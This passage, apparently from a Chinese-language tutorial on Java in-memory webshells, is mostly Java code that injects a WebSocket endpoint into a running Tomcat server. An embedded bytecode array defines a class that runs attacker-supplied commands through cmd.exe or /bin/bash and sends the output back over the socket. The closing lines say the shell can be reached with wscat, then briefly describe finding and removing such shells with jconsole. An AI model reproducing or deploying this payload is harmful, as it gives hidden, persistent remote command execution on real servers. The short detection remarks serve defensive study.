| StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources(); |
| if (standardroot == null){ |
| Field field; |
| try { |
| field = webappClassLoaderBase.getClass().getDeclaredField("resources"); |
| field.setAccessible(true); |
| }catch (Exception e){ |
| field = webappClassLoaderBase.getClass().getSuperclass().getDeclaredField("resources"); |
| field.setAccessible(true); |
| } |
| standardroot = (StandardRoot)field.get(webappClassLoaderBase); |
| } |
| StandardContext standardContext = (StandardContext) standardroot.getContext(); |
| ClassLoader cl = Thread.currentThread().getContextClassLoader(); |
| Class clazz; |
| byte[] bytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 49, 0, 118, 10, 0, 30, 0, 46, 8, 0, 47, 10, 0, 48, 0, 49, 10, 0, 8, 0, 50, 8, 0, 51, 10, 0, 8, 0, 52, 10, 0, 53, 0, 54, 7, 0, 55, 8, 0, 56, 8, 0, 57, 10, 0, 53, 0, 58, 8, 0, 59, 8, 0, 60, 10, 0, 61, 0, 62, 7, 0, 63, 10, 0, 15, 0, 46, 10, 0, 64, 0, 65, 10, 0, 15, 0, 66, 10, 0, 64, 0, 67, 10, 0, 61, 0, 68, 9, 0, 29, 0, 69, 11, 0, 70, 0, 71, 10, 0, 15, 0, 72, 11, 0, 73, 0, 74, 7, 0, 75, 10, 0, 25, 0, 76, 11, 0, 70, 0, 77, 10, 0, 29, 0, 78, 7, 0, 79, 7, 0, 80, 7, 0, 82, 1, 0, 7, 115, 101, 115, 115, 105, 111, 110, 1, 0, 25, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 9, 111, 110, 77, 101, 115, 115, 97, 103, 101, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 6, 111, 110, 79, 112, 101, 110, 1, 0, 60, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 67, 111, 110, 102, 105, 103, 59, 41, 86, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 86, 1, 0, 9, 83, 105, 103, 110, 97, 116, 117, 114, 101, 1, 0, 5, 87, 104, 111, 108, 101, 1, 0, 12, 73, 110, 110, 101, 114, 67, 108, 97, 115, 115, 101, 115, 1, 0, 84, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 36, 87, 104, 111, 108, 101, 60, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 62, 59, 12, 0, 34, 0, 35, 1, 0, 7, 111, 115, 46, 110, 97, 109, 101, 7, 0, 83, 12, 0, 84, 0, 85, 12, 0, 86, 0, 87, 1, 0, 7, 119, 105, 110, 100, 111, 119, 115, 12, 0, 88, 0, 89, 7, 0, 90, 12, 0, 91, 0, 92, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 1, 0, 7, 99, 109, 100, 46, 101, 120, 101, 1, 0, 2, 47, 99, 12, 0, 93, 0, 94, 1, 0, 9, 47, 98, 105, 110, 47, 98, 97, 115, 104, 1, 0, 2, 45, 99, 7, 0, 95, 12, 0, 96, 0, 97, 1, 0, 23, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 105, 108, 100, 101, 114, 7, 0, 98, 12, 0, 99, 0, 100, 12, 0, 101, 0, 102, 12, 0, 103, 0, 35, 12, 0, 104, 0, 100, 12, 0, 32, 0, 33, 7, 0, 105, 12, 0, 106, 0, 108, 12, 0, 109, 0, 87, 7, 0, 111, 12, 0, 112, 0, 38, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 12, 0, 113, 0, 35, 12, 0, 114, 0, 115, 12, 0, 37, 0, 38, 1, 0, 10, 87, 101, 98, 83, 111, 99, 107, 101, 116, 67, 1, 0, 24, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 7, 0, 116, 1, 0, 36, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 36, 87, 104, 111, 108, 101, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 11, 103, 101, 116, 80, 114, 111, 112, 101, 114, 116, 121, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 11, 116, 111, 76, 111, 119, 101, 114, 67, 97, 115, 101, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 115, 116, 97, 114, 116, 115, 87, 105, 116, 104, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 90, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 1, 0, 10, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 59, 1, 0, 4, 101, 120, 101, 99, 1, 0, 40, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 1, 0, 14, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 23, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 4, 114, 101, 97, 100, 1, 0, 3, 40, 41, 73, 1, 0, 6, 97, 112, 112, 101, 110, 100, 1, 0, 28, 40, 67, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 105, 108, 100, 101, 114, 59, 1, 0, 5, 99, 108, 111, 115, 101, 1, 0, 7, 119, 97, 105, 116, 70, 111, 114, 1, 0, 23, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 1, 0, 14, 103, 101, 116, 66, 97, 115, 105, 99, 82, 101, 109, 111, 116, 101, 1, 0, 5, 66, 97, 115, 105, 99, 1, 0, 40, 40, 41, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 36, 66, 97, 115, 105, 99, 59, 1, 0, 8, 116, 111, 83, 116, 114, 105, 110, 103, 7, 0, 117, 1, 0, 36, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 36, 66, 97, 115, 105, 99, 1, 0, 8, 115, 101, 110, 100, 84, 101, 120, 116, 1, 0, 15, 112, 114, 105, 110, 116, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 1, 0, 17, 97, 100, 100, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 1, 0, 35, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 59, 41, 86, 1, 0, 30, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 1, 0, 30, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 0, 33, 0, 29, 0, 30, 0, 1, 0, 31, 0, 1, 0, 2, 0, 32, 0, 33, 0, 0, 0, 4, 0, 1, 0, 34, 0, 35, 0, 1, 0, 36, 0, 0, 0, 17, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 0, 0, 1, 0, 37, 0, 38, 0, 1, 0, 36, 0, 0, 0, -88, 0, 5, 0, 7, 0, 0, 0, -108, 18, 2, -72, 0, 3, -74, 0, 4, 18, 5, -74, 0, 6, 62, 29, -103, 0, 31, -72, 0, 7, 6, -67, 0, 8, 89, 3, 18, 9, 83, 89, 4, 18, 10, 83, 89, 5, 43, 83, -74, 0, 11, 77, -89, 0, 28, -72, 0, 7, 6, -67, 0, 8, 89, 3, 18, 12, 83, 89, 4, 18, 13, 83, 89, 5, 43, 83, -74, 0, 11, 77, 44, -74, 0, 14, 58, 4, -69, 0, 15, 89, -73, 0, 16, 58, 5, 25, 4, -74, 0, 17, 89, 54, 6, 2, -97, 0, 15, 25, 5, 21, 6, -110, -74, 0, 18, 87, -89, -1, -21, 25, 4, -74, 0, 19, 44, -74, 0, 20, 87, 42, -76, 0, 21, -71, 0, 22, 1, 0, 25, 5, -74, 0, 23, -71, 0, 24, 2, 0, -89, 0, 8, 77, 44, -74, 0, 26, -79, 0, 1, 0, 0, 0, -117, 0, -114, 0, 25, 0, 0, 0, 1, 0, 39, 0, 40, 0, 1, 0, 36, 0, 0, 0, 25, 0, 2, 0, 3, 0, 0, 0, 13, 42, 43, -75, 0, 21, 43, 42, -71, 0, 27, 2, 0, -79, 0, 0, 0, 0, 16, 65, 0, 37, 0, 41, 0, 1, 0, 36, 0, 0, 0, 21, 0, 2, 0, 2, 0, 0, 0, 9, 42, 43, -64, 0, 8, -74, 0, 28, -79, 0, 0, 0, 0, 0, 2, 0, 42, 0, 0, 0, 2, 0, 45, 0, 44, 0, 0, 0, 18, 0, 2, 0, 31, 0, 81, 0, 43, 6, 9, 0, 73, 0, 110, 0, 107, 6, 9}; |
| Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); |
| method.setAccessible(true); |
| clazz = (Class) method.invoke(cl, bytes, 0, bytes.length); |
| ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(clazz, urlPath).build(); |
| WsServerContainer container = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName()); |
| if (null == container.findMapping(urlPath)) { |
| try { |
| container.addEndpoint(configEndpoint); |
| } catch (DeploymentException e) { |
| e.printStackTrace(); |
| } |
| } |
| } catch (Exception e) { |
| e.printStackTrace(); |
| } |
| } |
| |
| @Override |
| public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { |
| |
| } |
| |
| @Override |
| public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { |
| |
| } |
| } |
注入一次以后就可以用 wscat 进行连接了
我们首先要确定环境中是否存在内存马。下面给出一些方法:
我们通过 jconsole 连接到 web 进程,可以看到加载注册的 Filter、Servlet。
借这个 console 也可以让我们对恶意的内存类进行删除操作。 但是还是不够方便,且有很明显的局限性。
这里后面写 JavaAgent 内存马的时候再谈